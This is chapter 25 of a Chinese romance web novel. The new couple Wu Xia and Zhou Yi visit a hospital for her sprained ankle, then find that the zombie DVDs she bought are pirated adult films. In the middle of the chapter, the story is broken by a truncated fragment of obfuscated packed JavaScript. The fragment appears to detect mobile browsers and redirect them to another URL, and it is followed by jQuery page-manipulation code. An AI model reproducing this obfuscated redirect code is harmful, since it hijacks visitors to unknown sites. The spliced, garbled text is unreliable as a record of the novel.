25.第 25 章

作品:《浪漫主义

    一个半小时的车程,从寿南回到海城,已是后半夜。凌晨两点,公路宽阔,世界清宁。


    吴瑕被周弈背上楼。她在海边还觉得这种姿势无所适从,现在已经可以安然趴在他宽阔的肩头。


    吴瑕两只手各一束花,懒洋洋打个哈欠,“已经两点多了,等下你把我放到五楼就早点休息吧。”


    大半夜把别人叫出去看海这种桥段居然也发生在她的生活里。浪漫之后生活还要继续。


    “你行动不方便,今晚去我那?或者我去你那凑合一晚上。”


    吴瑕短促地啊了一声,声线平平,惊讶的意思。


    进度这么快吗?


    今晚刚刚在一起而已。


    虽然说都是成年人,她不抗拒这件事,但是是不是太快了?


    半晌听不到她的回应,周弈回头,看到她纠结羞涩的神情,“你在想什么?”


    吴瑕斟酌后,认真道:“虽然我很喜欢你,我还没有做好同居的准备。”


    周弈愕然,解释:“我睡沙发。”


    吴瑕整个脑袋埋进他肩头。


    -


    最后决定去吴瑕家。


    她睡自己的房间,周弈抱了枕头被子下来,在沙发上凑合一晚。


    吴瑕行动不便,回卧室换衣服、去洗手间洗漱,都由周弈抱她过去。


    洗漱结束,擦过护肤品,等他把自己抱回去,不由感叹:“感觉自己像个小孩子。”


    “嗯?”


    “像被宠坏的小孩,衣来伸手饭来张口。”事无巨细地被照顾。吴瑕说:“看来受伤也不完全是坏事。”


    周弈哑然失笑。


    “周弈,你生病的时候有人这样照顾你吗?”


    “年纪很小的时候,外婆这样照顾我。”


    “后来呢?”


    “后来她不在了。”


    “对不起......”


    “我是说不在我身边了,她在国外。”


    “......”吴瑕有种被耍了的感觉,气鼓鼓看他。


    周弈笑,弯腰将她放上床,掀开一旁的被子,吴瑕撑手挪过去,躺下身说晚安。


    虽然佯装生气,她眼神里还是有种包容的喜悦温柔,周弈这时并不明白。


    直到很久很久以后,再次聊到这事,她才说到自己在想什么。


    她说此前觉得他太寡薄,孤寂感如影随形,有时候看到他就会隐隐心痛,这一刻觉得庆幸,庆幸他成长过程中沐浴过爱的光辉。


    -


    吴瑕周六这天睡了一整天,晚上躺下来没有困意,熬到天色大亮,才昏昏沉沉睡去。周六日不设闹钟,醒来已是日上三竿。


    她坐起身,缓了缓起床气,掀被下床,差点忘记脚伤,轻微的刺痛提示着昨天的一切。


    那么她现在真的是在恋爱中?


    吴瑕单脚站立,盯着房间的红漆木门,眨巴眼睛。


    笃笃笃。


    敲门声。


    “吴瑕?”


    吴瑕如梦初醒,“我醒了,你进来吧。”


    周弈已换了身衣服,神清气爽,“先洗漱,换身衣服,带你去医院做个检查。”


    吴瑕以为开场白会是‘昨晚睡得好吗’,这样的客套话,居然是去医院。


    “我觉得我的脚没有什么问题......”她嘟囔,看到放在茶几上的小花盆,短枝已经生长绿芽,“那个花盆,送给你。”


    周弈顺着她的视线看过去。


    “是冬天的时候,有对母子在摆摊完成实践作业那次,你送了我一束花,我也该送你的,这是我当时买的月季,扦插的枝子,希望可以在你那里重新开花。”


    “谢谢。”周弈说,“等从医院回来之后我会把它带走。韧带的损伤不做检查很难确诊。”


    话题转移失败。


    “......好吧。”吴瑕犹豫片刻,妥协了。


    她洗脸刷牙,换了身衣服。脚踝还肿着,打算穿拖鞋出门,光脚似乎不礼貌,于是坐在门口穿袜子。


    “不喜欢去医院?”周弈半蹲在她身旁。


    吴瑕将袜口撑开套上脚尖,想了想,“也不是不喜欢......对于低精力人群来说,任何需要离开家的事情,都很麻烦。”


    周弈抬手弹了下她的发顶,“真是大小姐。”


    周弈这样说着,吴瑕很不服气,但这趟医院之行与她从前一个人仓皇忙碌地缴款、找科室、排队等医生的体验很不一样。


    从挂号开始,因为临时挂号没有号源,周弈开车带她转去另一家综合医院。好像‘除了天塌下来,别的事一概当无事处理’,这种感觉。吴瑕被这种气场影响,气定神闲许多。


    这些她暂时不会告诉他。


    谁让他笑她大小姐。


    医生给吴瑕做了核磁和X光,说骨头没事,韧带损伤,需要带支具制动,下个月复查。


    从医院出来,吴瑕请周弈吃自己读书时最爱吃的一家披萨店。开车到了地址,他才发现自己吃过这家,甚至有段时间频繁来这里。


    跟吴瑕对过时间线,她那段时间恰好去外地实习,所以错过。


    偶尔要感叹缘分的神奇。


    在店里吃过饭,又去隔壁打包两碗馄饨,回到家已是傍晚。


    推开门,一室静谧,卧室门敞开,南向的窗投来夕阳,在地板投下窗扇形状的温暖金色。


    周弈接电话,吴瑕单脚跳着坐上沙发,瘫下去。每次从外面回到自己的小屋,坐下来的这一刻,感觉灵魂会随之放松。


    “......结束了么?......嗯,以后回申城有机会见面,代我跟夏老师问好......”周弈换了只手听电话,将外套挂上衣架,低头换拖鞋。


    “我吗?”周弈对听筒说,抬眸睇了眼走向厨房的吴瑕,“没什么事,女朋友崴脚,陪她去了趟医院。”


    吴瑕正提着玻璃杯,分出两杯凉白开。


    耳朵自然地捕捉到了“女朋友”这个词,觉得新奇而陌生。


    周弈进厨房时,她还是一副神游太空的表情,被揉了把脑袋,“想什么呢。”


    “没什么。”吴瑕递给他一杯水,“同事的电话吗?”


    “一个师弟。”周弈仰头喝水,“今天有同门聚会,我推掉了,导师叫他打电话问我情况。吃顿饭而已。”


    吴瑕点头,“你的毕业典礼在什么时候?典礼之后就要离开海城了吗?”


    “毕业典礼一般在六月二十左右。”周弈顿了顿,“但我六月初就得去申城。”


    “这么早。”


    周弈觉察吴瑕语气里的失落,心底有些歉疚,她却吞下一大口凉白开,放下杯子,“那我们这段时间都一起吃饭吧,反正你工作室离这里很近,我这幅样子,需要请假。”


    大义凛然地做了这个决定。


    “好,一起吃饭。”


    吴瑕盯着他看了两秒,“周弈,我感觉你现在跟我的第一印象反差很大哎,是我的错觉吗。”


    “怎么。”


    “感觉你比第一印象好相处得多,脾气也不是那样冷酷,甚至算得上温和。”


    “我的脾气确实一般。”周弈说,“大部分人觉得我冷漠寡言,有些人背后叫我活阎王。”


    这样吗?


    “脾气臭一点,可以避免很多社交上的麻烦。至于你的感受,不是错觉,因为你是例外。”


    “是吗。”吴瑕笑眯眯,掩不住的小得意。


    她找到了人类需要爱的第二大证据——我们都需要被认可、肯定和偏心。


    “我们来看电影吧怎么样。”吴瑕单脚跳到电视机前,指着底下的老式DVD,“房东留下的,据说还可以用,刚好影像店清仓,我淘了很多碟片。”


    眼睛亮晶晶,像只叼着球邀请别人跟自己一起玩的小狗。


    周弈说好。


    有一部分碟片在门框中间的玻璃柜里,另一部分在吴瑕卧室的箱子里。


    整套房子两个房间,次卧被房东用来堆放杂物,吴瑕睡主卧,房间不大,除了衣柜和电脑桌,床尾同样有置物柜,除了书和唱片,还有些五颜六色的小玩意。


    一格用来放护肤品,立方体包装塞得严丝合缝,两层放书,竖着两排摆完,还有横着塞进去填缝的。其他书摆满旁边的立架。


    上层是款式颜色各异的玻璃杯,和一些悬挂起来的耳坠项链。


    周弈知道她有耳洞,但从来没见她戴过。


    “因为容易过敏。”吴瑕捏了捏自己的耳垂,在床尾坐下,从柜子里拉出一格置物盒,翻找碟片。


    周弈坐在一旁浏览书架。


    她看书似乎百无禁忌,从乡土文学到亚非拉文学,从科幻到历史,心理学、医学、教科书、杂志。如果这些书入库图书馆,大概每一本都在不同层不同区。


    周弈撑手,看向抓了满手碟、正认认真真挑选的吴瑕,等她挑一部自己喜欢的电影。


    “看血浆片怎么样?”吴瑕问。


    她的提议依旧在他意料之外。


    吴瑕喃喃:“我超喜欢丧尸电影。”


    -


    DVD是从房东留在柜子里的杂物里翻出来的,吴瑕特意淘了连接线,不过要搞懂世纪初的古董需要点时间,周弈半蹲在电视机前摆弄碟片机。


    吴瑕无事可做,翻看从医院拿到的诊断报告单。


    “只是崴一下脚,后果居然这么严重。”


    在医院里,医生特意交代需要好好修养,不然韧带断裂,只能通过手术修复,不排除这辈子都无法剧烈运动的可能。


    “所以受伤之后应该怎么办?”


    周弈只不过要她积极去医院做检查,她仔细思考后回答一大通:“我可能会小红书搜XX受伤怎么办,大数据会接连给我推这方面的信息,然我越看越焦虑,终于决定预约后天或者大后天的检查。”


    “......为什么不是今天或者明天。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265006|164366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“现在就安排第二天的出门行程,太唐突了不是吗。我需要休息两天。”


    您拨打的用户电量低,今明两天无法出门。


    周弈从盒子里取出影碟,放进DVD吐出来的托盘,“所有事情都会让你觉得累?”


    “所有。但是喜欢的事情虽然累,也会坚持,比如画画。还有你。”


    周弈笑,回头看她。


    DVD机被调试到正常播放的模式,电影开始播放《僵尸世界大战》。


    不知道是不是机子太老的缘故,总觉得画面有点粗糙劣质。


    进入正题之前有两分钟的片头,吴瑕看到放在茶几上的昨天的两束小花,伸手去拿,周弈俯身替她拿了过来。


    “这样很快会枯萎,我想用花瓶把它们插起来。”吴瑕解释。


    周弈替她找到剪刀和花瓶。


    说是花瓶,其实是从祝嘉然那里淘来的漂亮酒瓶,用烧热的棉线切割,砂纸打磨,形状各异。


    吴瑕眼睛盯着电视画面,周弈的视线则不时落在她握着剪刀给花枝修剪枝叶的手上,防止这尖锐刀尖刺伤她自己。


    “好奇怪。”吴瑕纳闷,将手里的几枝花插进花瓶,放下剪刀,“这部电影的男主角不是阿汤哥吗?”


    “是布拉德·皮特。”周弈看向电视画面,“阿汤哥是演碟中谍那个。”


    “啊,是布拉德皮特,但是这些演员......”吴瑕说不出哪里怪,总之处处透着怪异,“我几年前看过这部电影,至少不会出戏,但是这些演员的演技,好像跟我差不多,而且这些女人穿得有点太暴露......”


    周弈俯身拾起茶几上的碟片盒,垂眸看了看,又拿起一旁备选的那几部丧尸片。


    “这些是在哪买的,确定是正版么?”


    “夜市的小摊上——”吴瑕盯着电视画面,几乎愣住。


    这对男女怎么就抱在一起开始啃了?还脱掉了上衣——包括内衣。


    周弈拾起遥控器,调频道的按键在这时没有用,只能按住暂停。


    浮夸的激吻口申口今声随之消失,画面停留在两个人意|乱|情|迷的脸上。


    吴瑕有点懵,下意识去看他。


    周弈晃了晃手里的碟,“这几张都是盗版三级片。”


    吴瑕瞳孔地震,讶然凑近些。


    几张碟片印着片名信息,大字影名旁附着暧昧的迷你小字,比如惊变28天:腐烂迷情、活死人之夜:艳尸横行、我是传奇:末日淫屠。


    “怪不得结账时那老板语气有点奇怪......”吴瑕后知后觉,红着脸咕哝。


    周弈懒散倚靠沙发靠背,单手拄着下巴,似笑非笑看着她。


    “继续么?”


    想逗她。


    “不,不继续。我们换别的。”吴瑕摇头,白皙脸颊泛红,是羞耻,还有些恼火,颇可怜,却引诱人忍不住继续‘欺负’她。


    “惊变28天还是我是传奇?”


    “换一部正经剧情片!不然我们看动画片吧?”


    “不是超喜欢丧尸电影么,还精挑细选了半天。”


    “周弈!”吴瑕简直想钻进地缝。精挑细选了半天的碟居然恰好全是三级,尴尬到无地自容。


    周弈却扬了扬手里的遥控器,准备要它继续播放,吴瑕转身跪坐沙发,酝酿片刻,扑到他身上,欲抢遥控器。


    “小心脚踝。”周弈只是逗逗她,揽腰将她抱住,顺便按了关机键,低声哄她,“关了关了。”


    吴瑕气鼓鼓坐下。


    剩下的其他题材的碟倒是正经电影。


    周弈换了部哈利波特与阿兹卡班的囚徒。


    吴瑕被他惹毛,赌气抱枕头坐到远处,因为脚伤,换什么姿势都不舒服,周弈追过去了,叫她斜躺下来,枕着自己的大腿。


    吴瑕没看过这部电影,周弈上次看它也是十几年前,有一搭没一搭地瞎猜剧情。


    电影播放到中途,吴瑕问周弈有没有腹肌。


    “自己检查下就知道了。”周弈随口道。


    吴瑕于是抬手摸索他的手臂,顺着手臂线条转向胸膛,然后是腰腹。


    周弈平时鲜少与人有身体接触,在她的手指触到自己腰侧时下意识躲闪。吴瑕的手已从腰侧游移到小腹。


    隔一层衣料,腹肌的手感大概是有弹性的坚硬,带着体温,和他呼吸的起伏,线条分明。


    吴瑕耐心地用指腹描摹周弈腰间的沟壑。


    直到他浑身紧绷,呼吸微沉,按住她的手腕。


    吴瑕抽手,仍要作祟,这次直接被反扣,他施了些力道,她动弹不得。


    “吴瑕。”周弈嗓音微哑,带着警告的意味。


    “不动了不动了。”吴瑕求饶。


    他缓了缓,松开她的手。


    “不好意思啊......”吴瑕立即起身,尴尬地拉开些距离,语气抱歉。但周弈看到她唇角似有若无的笑容,小狐狸一般耀武扬威的神情。